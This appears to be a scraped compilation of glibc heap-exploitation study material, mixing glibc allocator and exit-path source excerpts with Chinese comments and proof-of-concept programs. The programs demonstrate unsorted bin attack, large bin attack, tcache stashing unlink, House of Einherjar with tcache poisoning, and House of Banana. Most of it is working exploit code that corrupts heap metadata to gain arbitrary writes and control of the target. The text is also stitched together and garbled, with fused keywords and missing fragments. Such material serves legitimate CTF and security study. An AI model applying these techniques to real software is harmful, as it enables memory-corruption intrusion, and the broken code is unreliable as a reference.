/* Take a chunk off a bin list. */ staticvoid unlink_chunk(mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) //检查 p->size == p->next->presize malloc_printerr ("corrupted size vs. prev_size");
mchunkptr fd = p->fd; mchunkptr bk = p->bk;
if (__builtin_expect (fd->bk != p || bk->fd != p, 0)) //检查确保 p 在链中 malloc_printerr ("corrupted double-linked list");
fd->bk = bk; //使 p 脱链,由 bk->p->fd 变为 bk->fd bk->fd = fd; //以下都属于largebin的unlink处理 if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL) { //判断是否在smallbin的范围内,并且fd_nextsize是否为空 if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) //判断链是否正确 malloc_printerr ("corrupted double-linked list (not small)");
intmain() { //填满tcache for(int i = 0;i<11;i++) ChunkInfo[i] = (char*)malloc(0x80); for(int i = 0;i<7;i++) free(ChunkInfo[i]); printf("The tcache bin is full.\n");
intmain() { fprintf(stderr, "This file demonstrates unsorted bin attack by write a large " "unsigned long value into stack\n"); fprintf( stderr, "In practice, unsorted bin attack is generally prepared for further " "attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
unsignedlong target_var = 0; fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n"); fprintf(stderr, "%p: %ld\n\n", &target_var, target_var);
unsignedlong *p = malloc(400); fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n", p); fprintf(stderr, "And allocate another normal chunk in order to avoid " "consolidating the top chunk with" "the first one during the free()\n\n"); malloc(500);
free(p); fprintf(stderr, "We free the first chunk now and it will be inserted in the " "unsorted bin with its bk pointer " "point to %p\n", (void *)p[1]);
/*------------VULNERABILITY-----------*/
p[1] = (unsignedlong)(&target_var - 2); fprintf(stderr, "Now emulating a vulnerability that can overwrite the " "victim->bk pointer\n"); fprintf(stderr, "And we write it with the target address-16 (in 32-bits " "machine, it should be target address-8):%p\n\n", (void *)p[1]);
//------------------------------------
malloc(400); fprintf(stderr, "Let's malloc again to get the chunk we just free. During " "this time, target should has already been " "rewrite:\n"); fprintf(stderr, "%p: %p\n", &target_var, (void *)target_var); }
intmain() { fprintf(stderr, "This file demonstrates large bin attack by writing a large unsigned long value into stack\n"); fprintf(stderr, "In practice, large bin attack is generally prepared for further attacks, such as rewriting the " "global variable global_max_fast in libc for further fastbin attack\n\n");
fprintf(stderr, "Let's first look at the targets we want to rewrite on stack:\n"); fprintf(stderr, "stack_var1 (%p): %ld\n", &stack_var1, stack_var1); fprintf(stderr, "stack_var2 (%p): %ld\n\n", &stack_var2, stack_var2);
unsignedlong *p1 = malloc(0x320); fprintf(stderr, "Now, we allocate the first large chunk on the heap at: %p\n", p1 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the first large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p2 = malloc(0x400); fprintf(stderr, "Then, we allocate the second large chunk on the heap at: %p\n", p2 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the next large chunk with" " the second large chunk during the free()\n\n"); malloc(0x20);
unsignedlong *p3 = malloc(0x400); fprintf(stderr, "Finally, we allocate the third large chunk on the heap at: %p\n", p3 - 2);
fprintf(stderr, "And allocate another fastbin chunk in order to avoid consolidating the top chunk with" " the third large chunk during the free()\n\n"); malloc(0x20);
free(p1); free(p2); fprintf(stderr, "We free the first and second large chunks now and they will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p2 - 2), (void *)(p2[0]));
void* p4 = malloc(0x90); fprintf(stderr, "Now, we allocate a chunk with a size smaller than the freed first large chunk. This will move the" " freed second large chunk into the large bin freelist, use parts of the freed first large chunk for allocation" ", and reinsert the remaining of the freed first large chunk into the unsorted bin:" " [ %p ]\n\n", (void *)((char *)p1 + 0x90));
free(p3); fprintf(stderr, "Now, we free the third large chunk and it will be inserted in the unsorted bin:" " [ %p <--> %p ]\n\n", (void *)(p3 - 2), (void *)(p3[0]));
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the freed second large chunk's \"size\"" " as well as its \"bk\" and \"bk_nextsize\" pointers\n"); fprintf(stderr, "Basically, we decrease the size of the freed second large chunk to force malloc to insert the freed third large chunk" " at the head of the large bin freelist. To overwrite the stack variables, we set \"bk\" to 16 bytes before stack_var1 and" " \"bk_nextsize\" to 32 bytes before stack_var2\n\n");
fprintf(stderr, "Let's malloc again, so the freed third large chunk being inserted into the large bin freelist." " During this time, targets should have already been rewritten:\n");
#if USE_TCACHE /* While we're here, if we see other chunks of the same size, stash them in the tcache. */ size_t tc_idx = csize2tidx (nb); if (tcache && tc_idx < mp_.tcache_bins) { mchunkptr tc_victim; /* While bin not empty and tcache not full, copy chunks over. */ while (tcache->counts[tc_idx] < mp_.tcache_count && (tc_victim = last (bin)) != bin) { if (tc_victim != 0) { bck = tc_victim->bk; set_inuse_bit_at_offset (tc_victim, nb); if (av != &main_arena) set_non_main_arena (tc_victim); bin->bk = bck; bck->fd = bin; //此时bk+0x10位置被写入bin tcache_put (tc_victim, tc_idx); } }
intmain() { for(int i = 0; i < 6; i++) //填入tcache free(calloc(1, 0x60)); printf("The 0x70-tcache has 6 chunks!\n"); sleep(1);
char* p1 = calloc(1, 0x500); //申请大堆块 calloc(1, 0x70); //申请堆块,防止p1与top chunk合并 free(p1); //p1进入unsorted bin p1 = calloc(1, 0x500-0x70); //切割剩下0x70大小 calloc(1, 0x100); //将剩下的0x70大小的堆块放入smallbin中 printf("The small-bin now has a 0x70-length chunk!\n"); sleep(1);
char* p2 = calloc(1, 0x500); calloc(1, 0x70); free(p2); p2 = calloc(1, 0x500-0x70); calloc(1, 0x100); printf("The small-bin now has two 0x70-length chunks!\n"); sleep(1); //此时smallbin中存在两个chunk long heapbase = ((long)p1>>12)<<12; *(long*)((char*)p2+0x4a8) = heapbase-0x10; //修改第二个进入smallbin的chunk的bk位 printf("In smallbin the second chunk's bk loc has been modified to %p!\n", (long*)*(long*)((char*)p2+0x4a8)); sleep(1); printf("The target %p will be modified!\n", (long*)heapbase); sleep(1);
intmain() { for(int i = 0; i < 5; i++) //填入tcache free(calloc(1, 0x60)); printf("The 0x70-tcache has 5 chunks!\n"); sleep(1);
char* p1 = calloc(1, 0x500); //申请大堆块 calloc(1, 0x70); //申请堆块,防止p1与top chunk合并 free(p1); //p1进入unsorted bin p1 = calloc(1, 0x500-0x70); //切割剩下0x70大小 calloc(1, 0x100); //将剩下的0x70大小的堆块放入smallbin中 printf("The small-bin now has a 0x70-length chunk!\n"); sleep(1);
char* p2 = calloc(1, 0x500); calloc(1, 0x70); free(p2); p2 = calloc(1, 0x500-0x70); calloc(1, 0x100); printf("The small-bin now has two 0x70-length chunk!\n"); sleep(1); //此时smallbin中存在两个chunk long heapbase = ((long)p1>>12)<<12; long main_arena = *(long*)((char*)p1+0x4a0)-192; long target = main_arena+0x70; *(long*)((char*)p2+0x4a8) = target-0x10; //修改第二个进入smallbin的chunk的bk位 printf("In smallbin the second chunk's bk loc has been modified to %p!\n", (long*)*(long*)((char*)p2+0x4a8)); sleep(1); printf("The target %p will be modified!\n", (long*)target); sleep(1);
calloc(1, 0x60); //申请一个smallbin中的chunk,并触发tcache_stash printf("Attack success!\ntarget modified: %p\n", (long *)*(long*)target); long* p3 = malloc(0x60); printf("Now we can write memory in libc.\nGet address: %p.\n", (long*)p3); return0; }
intmain() { /* * This modification to The House of Enherjar works with the tcache-option enabled on glibc-2.32. * The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc(). * It has the additional requirement of a heap leak. * * After filling the tcache list to bypass the restriction of consolidating with a fake chunk, * we target the unsorted bin (instead of the small bin) by creating the fake chunk in the heap. * The following restriction for normal bins won't allow us to create chunks bigger than the memory * allocated from the system in this arena: * * https://sourceware.org/git/?p=glibc.git;a=commit;f=malloc/malloc.c;h=b90ddd08f6dd688e651df9ee89ca3a69ff88cd0c */
setbuf(stdin, NULL); setbuf(stdout, NULL);
printf("Welcome to House of Einherjar 2!\n"); printf("Tested on Ubuntu 20.10 64bit (glibc-2.32).\n"); printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
printf("This file demonstrates the house of einherjar attack by creating a chunk overlapping situation.\n"); printf("Next, we use tcache poisoning to hijack control flow.\n" "Because of https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41," "now tcache poisoning requires a heap leak.\n");
// prepare the target, // due to https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=a1a486d70ebcc47a686ff5846875eacad0940e41, // it must be properly aligned. intptr_t stack_var[0x10]; intptr_t *target = NULL;
// choose a properly aligned target address for(int i=0; i<0x10; i++) { if(((long)&stack_var[i] & 0xf) == 0) { target = &stack_var[i]; break; } } assert(target != NULL); printf("\nThe address we want malloc() to return is %p.\n", (char *)target);
printf("\nWe allocate 0x38 bytes for 'a' and use it to create a fake chunk\n"); intptr_t *a = malloc(0x38);
// create a fake chunk printf("\nWe create a fake chunk preferably before the chunk(s) we want to overlap, and we must know its address.\n"); printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("\nWe allocate 0x28 bytes for 'b'.\n" "This chunk will be used to overflow 'b' with a single null byte into the metadata of 'c'\n" "After this chunk is overlapped, it can be freed and used to launch a tcache poisoning attack.\n"); uint8_t *b = (uint8_t *) malloc(0x28); printf("b: %p\n", b);
int real_b_size = malloc_usable_size(b); printf("Since we want to overflow 'b', we need the 'real' size of 'b' after rounding: %#x\n", real_b_size);
/* In this case it is easier if the chunk size attribute has a least significant byte with * a value of 0x00. The least significant byte of this will be 0x00, because the size of * the chunk includes the amount requested plus some amount required for the metadata. */ printf("\nWe allocate 0xf8 bytes for 'c'.\n"); uint8_t *c = (uint8_t *) malloc(0xf8);
printf("c: %p\n", c);
uint64_t* c_size_ptr = (uint64_t*)(c - 8); // This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit
printf("\nc.size: %#lx\n", *c_size_ptr); printf("c.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'b' with a single null byte into the metadata of 'c'\n"); // VULNERABILITY b[real_b_size] = 0; // VULNERABILITY printf("c.size: %#lx\n", *c_size_ptr);
printf("It is easier if b.size is a multiple of 0x100 so you " "don't change the size of b, only its prev_inuse bit\n");
// Write a fake prev_size to the end of b printf("\nWe write a fake prev_size to the last %lu bytes of 'b' so that " "it will consolidate with our fake chunk\n", sizeof(size_t)); size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a); printf("Our fake prev_size will be %p - %p = %#lx\n", c - sizeof(size_t) * 2, a, fake_size); *(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
// Change the fake chunk's size to reflect c's new prev_size printf("\nMake sure that our fake chunk's size is equal to c's new prev_size.\n"); a[1] = fake_size;
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", a[1]);
// Now we fill the tcache before we free chunk 'c' to consolidate with our fake chunk printf("\nFill tcache.\n"); intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++) { x[i] = malloc(0xf8); }
printf("Now we free 'c' and this will consolidate with our fake chunk since 'c' prev_inuse is not set\n"); free(c); printf("Our fake chunk size is now %#lx (c.size + fake_prev_size)\n", a[1]);
printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
intptr_t *d = malloc(0x158); printf("Next malloc(0x158) is at %p\n", d);
// tcache poisoning printf("After the patch https://sourceware.org/git/?p=glibc.git;a=commit;h=77dc0d8643aa99c92bf671352b0a8adde705896f,\n" "We have to create and free one more chunk for padding before fd pointer hijacking.\n"); uint8_t *pad = malloc(0x28); free(pad);
printf("\nNow we free chunk 'b' to launch a tcache poisoning attack\n"); free(b); printf("Now the tcache list has [ %p -> %p ].\n", b, pad);
printf("We overwrite b's fwd pointer using chunk 'd'\n"); // requires a heap leak because it assumes the address of d is known. // since house of einherjar also requires a heap leak, we can simply just use it here. d[0x30 / 8] = (long)target ^ ((long)&d[0x30/8] >> 12);
// take target out printf("Now we can cash out the target chunk.\n"); malloc(0x28); intptr_t *e = malloc(0x28); printf("\nThe new chunk is at %p\n", e);
// sanity check assert(e == target); printf("Got control on target/stack!\n\n"); }
struct _IO_FILE { int _flags; #define _IO_file_flags _flags char* _IO_read_ptr; /* Current read pointer */ char* _IO_read_end; /* End of get area. */ char* _IO_read_base; /* Start of putback+get area. */ char* _IO_write_base; /* Start of put area. */ char* _IO_write_ptr; /* Current put pointer. */ char* _IO_write_end; /* End of put area. */ char* _IO_buf_base; /* Start of reserve area. */ char* _IO_buf_end; /* End of reserve area. */ /* The following fields are used to support backing up and undo. */ char *_IO_save_base; /* Pointer to start of non-current get area. */ char *_IO_backup_base; /* Pointer to first valid character of backup area */ char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsignedshort _cur_column; signedchar _vtable_offset; char _shortbuf[1]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE };
staticvoid malloc_printerr(int action, constchar *str, void *ptr, mstate ar_ptr) { /* Avoid using this arena in future. We do not attempt to synchronize this with anything else because we minimally want to ensure that __libc_message gets its resources safely without stumbling on the current corruption. */ if (ar_ptr) set_arena_corrupt (ar_ptr);
house of banana是利用exit函数调用链触发的一种利用方式,调用链:exit()->_dl_fini->(fini_t)array[i],利用起来十分方便,只要我们能通过largebin attack等方式劫持_rtld_global首地址_ns_loaded到我们的可控区域,也可以直接劫持某个节点link_map的l_next指针到可控区域,就可以对link_map进行伪造,从而进行调用。
unsignedint i; structlink_map *l; assert (nloaded != 0 || GL(dl_ns)[ns]._ns_loaded == NULL); for (l = GL(dl_ns)[ns]._ns_loaded, i = 0; l != NULL; l = l->l_next) /* Do not handle ld.so in secondary namespaces. */ if (l == l->l_real) //检查节点的地址是否跟自己结构体保存的一致 { assert (i < nloaded);
maps[i] = l; l->l_idx = i; ++i;
/* Bump l_direct_opencount of all objects so that they are not dlclose()ed from underneath us. */ ++l->l_direct_opencount; } assert (ns != LM_ID_BASE || i == nloaded); assert (ns == LM_ID_BASE || i == nloaded || i == nloaded - 1); unsignedint nmaps = i;
staticinlineconststruct _IO_jump_t * IO_validate_vtable(conststruct _IO_jump_t *vtable) { /* Fast path: The vtable pointer is within the __libc_IO_vtables section. */ uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables; uintptr_t ptr = (uintptr_t) vtable; uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; if (__glibc_unlikely (offset >= section_length)) /* The vtable pointer is not in the expected section. Use the slow path, which will terminate the process if necessary. */ _IO_vtable_check (); return vtable; }